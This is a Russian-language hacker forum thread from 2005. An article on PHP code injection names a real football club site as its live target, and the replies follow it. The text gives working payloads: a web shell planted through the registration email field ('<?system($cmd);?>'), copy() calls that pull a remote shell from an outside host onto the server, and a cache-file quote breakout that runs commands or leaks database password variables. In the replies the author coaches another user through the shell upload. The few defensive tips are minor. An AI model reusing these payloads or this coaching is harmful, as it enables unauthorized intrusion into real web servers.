php-inj. Капаем дальше.

Discussion in 'Статьи' started by Trinux, 29 Apr 2005.

  1. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Продолжая тему анализирования web приложений, хотелось бы немного подробнее остановится на php-inj уязвимостей. Многие считают что на банальном include() php-inj кончается. Далеко не так. В этой статье я хочу рассмотреть еще несколько примеров, встречающихся мне php-inj.

    Во-первых, давайте решим что такое php-inj. Это не внедрение своего php кода в чужой скрипт. Так? Так. Ну что, тогда давайте внедрять.

    Пример №1.
    Данная уязвимость обычно встречается на старых текстовых форумах, всяких двигах кэширования и короче любых других скриптах, использующих текстовые файлы в качестве хронителя информации. Давайте сразу перейдем к конкретному примеру и на этом примере рассмотрим эту разновидность php-inj.
    http://www.spartak.rt.ru/ вот наш подопытный. Так,сразу небольшая просьба, не убивайте сайт. Думаю, на нем научатся еще не одно поколение =))) Оставьте его, пусть живет. Хотя подобных, поверьте, очень много. Перейдем сразу к борду на этом сайте, даже не обратив внимание на то, что на нем есть и банальный php-inj при отображении страниц с контентом =) Все сюда http://www.spartak.rt.ru/board/ с виду обычный форум, поглядели? Идем регаться сюда http://www.spartak.rt.ru/board/register.php/ Зачем? Сейчас объясню. Как оказалось после анализа, При регистрации форум создает файл в дириктории /board/users/ где имя файла - логин участника, а содержимое - логин, пароль и мыло. Причем мыло не проверятеся на валидность. Если еще кто не сообразил - создатели форума сами предоставляют нам шелл =) Нахаляву, так сказать. В логин пишем "cmd.php" в пароль какую-нить бню и в мыло "<?system($cmd);?>". Проверяем, http://www.spartak.rt.ru/board/users/cmd.php есть такое дело. Но потом нас ждет обломс, system() отказалась работать, но это уже не важно, мы только что убедились что форум позволяет нам заливать любые файлы любого расширения на сайт, это уже не мало. Напрмер можно заюзать тот же самый copy() и получить http://www.spartak.rt.ru/board/rem.php =))) Но это уже побочный эффект. так, повторимся, благодаря чего мы имеем возможность создавать любые файлы.
    При регистрации пользователя скрипт форума создает новый файл в своей директории (в нашм случае /board/users/), где в имя файла ставит логин участника, а его содержимое пишет все данные о участнике открытым текстом. Причем ни имя пользователя ни данные о нем предворительно не фильтруются на теги и спец.символы.

    Я знаю, что многие из вас тоже начинающие web-разработчики и наверника есть те, кто работает с текстовиками, ибо денеги на хостинг с sql есть не у каждого. А когда я только начинал sql ваще был в диковинку. Именно поэтому давайте также рассмотрим меры предосторожности от такого вида атак. Ну тут все ясно и понятно. Если уж вы и создаете файл и используете в качестве имени - то добавляйте какое-нибудь расширение к нему. Например как я делал в свое время расширение ahs (anti hack system =)))) а всю внутрянку фильтруйте на спец.символы. Этого хватит. Но в то же время если вы ставите такое расширение на файл, его можно будет просмотреть браузером. Вот пример http://www.spartak.rt.ru/board/users/spartak. Поэтому стоит впихнуть еще сюда .htaccess с такой вот строчкой "deny from all" и можно будет спать спокойно.

    [offtop]
    Как то был инет-магаз с такой системой регистрации, только он все содержимое файла base64_encode() пробивал. Я когда открыл его браузером сначала немного отупел от увиденного =) потом недолго думая на локалке выполнил base64_decode("<?system($cmd);?>"); и полез снова регится =)
    [/offtop]

    Пример №2
    А вот эта бага чаще встречается на всяких системах кэширования типа смарти. Но сам смарти, насколько я помню, защищен от подобного вида атак, хотя я не проверял, возможно я и ошибаюсь. Вообщем ближе к делу. Тут примера привести не могу, не встричал пока таких сайтов (потому что не искал, найти можно, поверте) поэтому обойдемся только теорией. Данную уязвимость я нашел когда писал свою систему кэширования для одного из проектов. Что такое кэш и для чего он вообще нужен? Когда ты пишешь скрипты для сайта, у которого посещаемость не более 10 000 хостов, он впринципе и не нужен, но когда пишешь скрипты для работы с огромной БД, которые в день юзают по 20 000-30 000 уников, тут уже начинают возникать проблемы. БД не успевает обработать все запросы и забивает оперативу, тем временем апач падает =) Когда речь касается оптимизации таких сайтов, то в первую очередь пишется (или юзается готовая,но свое то лучше) система кэширования. Например вы владелец новостного сайта и посетители смотрятмного одну и ту же новость, которая в свою очередь лежит в БД. Зачем каждый раз обращаться к БД? Легче сделать ее кэш и кинуть куда-нибудь на диск и подгружать уже конкретный файл, а не коннектится к БД. Действительно такая система дает достаточно большую экономию ресурсов, но опять же это потенциальная уязвимость. Ну, наконец-то, начнемс =))) В инете очень много статей на тему кэшей и большинство из них описывает только один уровень кэша, с помощью php функции ob_start() итп. Не буду пояснять что это, скажу только что весь сгенеренный html код между ее началом и концом сохроняется в переменную, которую потом уже размещают в файл. Т.е. алгорит примерно такой. При просмотре новости скрипт проверяет, существует ли кэш этой страницы. Если да, то он просто инклудит файл кэша и все. Если нет, то он коннектится к БД, достает новость, генерит ее html код и пишет его в файл. Причем имя файла чаще всего берется как че-то типа md5($_SERVER['REQUEST_URI']), т.е. md5 хэш адреса данной новости. Т.е. нам в данном случае не удастся запусть файл из браузера напрямую, да и зачем,ведь сам скрипт двига будет его инклудить =))) Допустим это будет новостной портал, где пользователи могут писать свои новости. Вы регитесь и пишете новость. Пишете пишете себе и вдруг не с того не с сего БАЦ! <?system($cmd);?> =))) Смотрим свою новость - ничего необычного. И правильно, ведь она берется из Бд первый раз. Жмем F5 и имеем шелл. Но это редкий случай, т.к. на порталах такого уровня хотябы htmlspecialchars()`ом весь текст прогоняют =) Малоли =) но не все потеряно. С этим уровнем к сожалению все, но есть еще один способ кэширования. Запись в файл не html кода, а переменных. Т.е. если новость имеет заголовок "тест", текст "Первая новость" и дату "2005-12-05" и в файл пишется не сгенеренный html код а имена и значения переменных, т.е. напрмер:
    PHP:
    <?
    $news_name="тест";
    $news_name="первая новость";
    $news_name="2005-12-05";
    ?>
    И при построении html кода страницы новости подгружается этот файл и используются переменные, то мы можем и тут нахимичть =) Во-первых, мы можем обойти ковычку, написаннапример новость с текстом "Сегодня я шел по лужам и вдруг ";system($cmd);echo" то получим файл вида:
    PHP:
    <?
    $news_name="тест";
    $news_name="Сегодня я шел по лужам и вдруг ";system($cmd);echo"";
    $news_name="2005-12-05";
    ?>
    И при подгрузке кэша имеем шелл. Но тут скорей всего тоже программеры не лохи и хотябы ковычки отфильтруют. Да, действительно ковычки отфильтровать забыть как-то тружно, но вот то, о чем пойдет речь дальше уже более возможно и, скорей всего, чаще встречается. Посмотрите внимателно на примеры файлов кэша что я написал. Переменным присваиваются значния в двойных кавычках. Что это значит? Пишем еще одну новость с текстом "Я очень люблю картошку, а еще $db_passwd, $db_login, $db_host, $passwd, $admin..." и кучу других переменных и в итоге получаем файл кэша типа:
    PHP:
    <?
    $news_name="тест";
    $news_name="Я очень люблю картошку, а еще $db_passwd$db_login$db_host$passwd$admin...";
    $news_name="2005-12-05";
    ?>
    При подгрузке кэша мы увидим на странице вашей новости значение этих переменных, если они существют. не бог знает что, конечно, но это даст вамкчу полезной инфы, если вы исследуете сайт и не намерены сдаваться. Ну а для того чтобы защитится от подобного, достаточно двойную ковычку заменить на одинарную.

    Данный вид php-inj я описывал лишь догадываясьт о подобных уязвимостях, тут только лишь теория, но в теории все должно работать =)))

    Сил нет описавыть другие способы, изучайте пока эти 2, может как-нить допишу еще пару способов, а пока все.
     
    _________________________
    #1 Trinux, 29 Apr 2005
    Last edited by a moderator: 14 Jun 2010
    5 people like this.
  2. KEZ

    KEZ Guest

    Reputations:
    0
    неплохая статья...
    что радует - тема не избитая
     
  3. [CH]P]

    [CH]P] New Member

    Joined:
    17 Apr 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    А я вынес из нее, и ничего нового. Больше практики, меньше тиории. Так что мало.
     
  4. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Ну дело твое. Кому то она понравилась, значит не зря старался. Следующие статьи на тему php-inj будут в том же духе, так что можешь не читать, ты же и так все знаешь, а практик там будет мало.
     
    _________________________
    1 person likes this.
  5. [CH]P]

    [CH]P] New Member

    Joined:
    17 Apr 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Хм. Обиделся чтоли? Занимайся, пиши статьи, молодец. Ты нам нужен, мы в тебя верим..
     
  6. azeri_hacker

    azeri_hacker New Member

    Joined:
    2 Mar 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    привет одно не понятно как ты залил rem.php
    в поле имя написал rem.php а в поле e-mail че написал?
    может я не понял в стате прошу обяснит именно ту часть
    СПАСИБО
     
  7. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    В поле логина че угодно .php. Т.е. логин trinux.php, а в мыле <?copy("http://zerkalodeface.narod.ru/rem.php3", "../rem.php");?>
     
    _________________________
  8. azeri_hacker

    azeri_hacker New Member

    Joined:
    2 Mar 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    допустим remview.php находется в http://mysite.narod.ru/remview.php
    как будет выгледет форма?
    так?
    <?copy("http://mysite.narod.ru/remiview.php", "../rem.php");?> ТАК ИЛИ КАК?
    ПОЯСНЕЙ PLZZ
    СПАСИБО
     
  9. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Да, именно так. Есть одно НО. Шелл не зальется в диру, в которой нет прав на запись. Но там помойму есть. В крайнем случае попробуй
    <?copy("http://mysite.narod.ru/remiview.php", "rem.php");?>
    А так все верно.
     
    _________________________
  10. azeri_hacker

    azeri_hacker New Member

    Joined:
    2 Mar 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    в место имени пишу daface.php
    а в e-mail <?copy("http://mysite.narod.ru/remiview.php", "rem.php");?>
    дает ошибку в чем проблема?
     
  11. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    _________________________
  12. azeri_hacker

    azeri_hacker New Member

    Joined:
    2 Mar 2005
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
  13. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Если ты еще живешь на форуме , то
    =))))))Последняя активность 31.07.2005
    Code:
    <?copy("путь до шела", "название файла");?>
    Пример:
    Code:
    <?copy("http://mysite.narod.ru/remiview.php", "rem.php");?>
     
  14. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    блин, Isis археолог))
     
  15. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    а че, мне понравились способы....... никогда подобного не встречал. Трин молодец!
     
  16. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Статья не плохая хоть и старая. Видно сразу как топик с пхп инклудом создали, начали бороздить по форуму в поиски интересного =)
     
  17. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    trin Спартак нот рулез, молодцА) я помню накрутил оному футболисту, нескажу какому, кароче он стал лушим игроком по итогам трех сайтов за 2006 год) меня попросили)
     
  18. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    не согласен. Trinux, ты мой кумир, ты это знаешь? =)
     
  19. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    А что обращать внимание на [CH]P]-jd всяких? кто сам не может написать.. только комменты подобные дает. если честно, то статья хоть и старая, но хорошая.. если еще прочитать и вдуматься.. Базу дает..
     
  20. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    Статья рулез канечно круатифф все таки! Но вот я так ине понял какой там двиган крутился самописный что ль???